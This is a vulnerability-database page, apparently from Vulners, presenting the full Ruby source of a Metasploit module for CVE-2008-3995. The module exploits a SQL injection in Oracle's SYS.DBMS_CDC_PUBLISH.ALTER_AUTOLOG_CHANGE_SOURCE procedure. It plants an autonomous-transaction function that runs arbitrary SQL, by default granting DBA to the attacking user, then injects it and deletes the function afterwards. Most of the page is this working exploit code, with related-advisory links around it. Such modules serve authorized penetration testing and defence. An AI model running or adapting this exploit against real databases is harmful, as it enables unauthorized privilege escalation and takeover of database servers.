Lucene search
K

Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE

🗓️ 28 Jul 2009 13:43:37Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 28 Views

Oracle DB SQL Injection via ALTER_AUTOLOG_CHANGE_SOURCE procedure in DBMS_CDC_PUBLISH package. Allows users to exploit vulnerability to execute arbitrary SQL commands on affected Oracle Database Server versions 10gR1, 10gR2 and 11gR1, granted EXECUTE_CATALOG_ROLE by default

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2008-3995
29 May 201815:50
circl
CVE
CVE-2008-3995
14 Oct 200821:00
cve
Cvelist
CVE-2008-3995
14 Oct 200821:00
cvelist
NVD
CVE-2008-3995
14 Oct 200821:11
nvd
Oracle
CPUOct2008 Advisory
14 Oct 200800:00
oracle
Tenable Nessus
Oracle Database Multiple Vulnerabilities (October 2008 CPU)
16 Nov 201100:00
nessus
Packet Storm
Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE
31 Aug 202400:00
packetstorm
Prion
Design/Logic Flaw
14 Oct 200821:11
prion
securityvulns
Team SHATTER Security Advisory: Oracle Database SQL Injection in SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE
14 Nov 200800:00
securityvulns
securityvulns
Oracle multiple security vulnerabilities
14 Nov 200800:00
securityvulns
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE',
      'Description'    => %q{
        The module exploits an sql injection flaw in the ALTER_AUTOLOG_CHANGE_SOURCE
        procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
        on the vulnerable package can exploit this vulnerability. By default, users granted
        EXECUTE_CATALOG_ROLE have the required privilege.
        Affected versions: Oracle Database Server versions 10gR1, 10gR2 and 11gR1.
        Fixed with October 2008 CPU.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-3995' ],
          [ 'OSVDB', '49320']
        ],
      'DisclosureDate' => '2008-10-22'))

      register_options(
        [
          OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
        ])
  end

  def run
    return if not check_dependencies

    name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

    function = "
      CREATE OR REPLACE FUNCTION #{name}
      RETURN VARCHAR2 AUTHID CURRENT_USER
      IS
      PRAGMA AUTONOMOUS_TRANSACTION;
      BEGIN
      EXECUTE IMMEDIATE '#{datastore['SQL']}';
      COMMIT;
      RETURN NULL;
      END;"

    package = "
      BEGIN
      SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE('''||'||user||'.#{name}||''');
      END;
      "

    clean = "DROP FUNCTION #{name}"

    begin
      print_status("Sending function...")
      prepare_exec(function)
    rescue => e
      return
    end
    print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE...")
    prepare_exec(package)

    print_status("Done! Removing function '#{name}'...")
    prepare_exec(clean)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation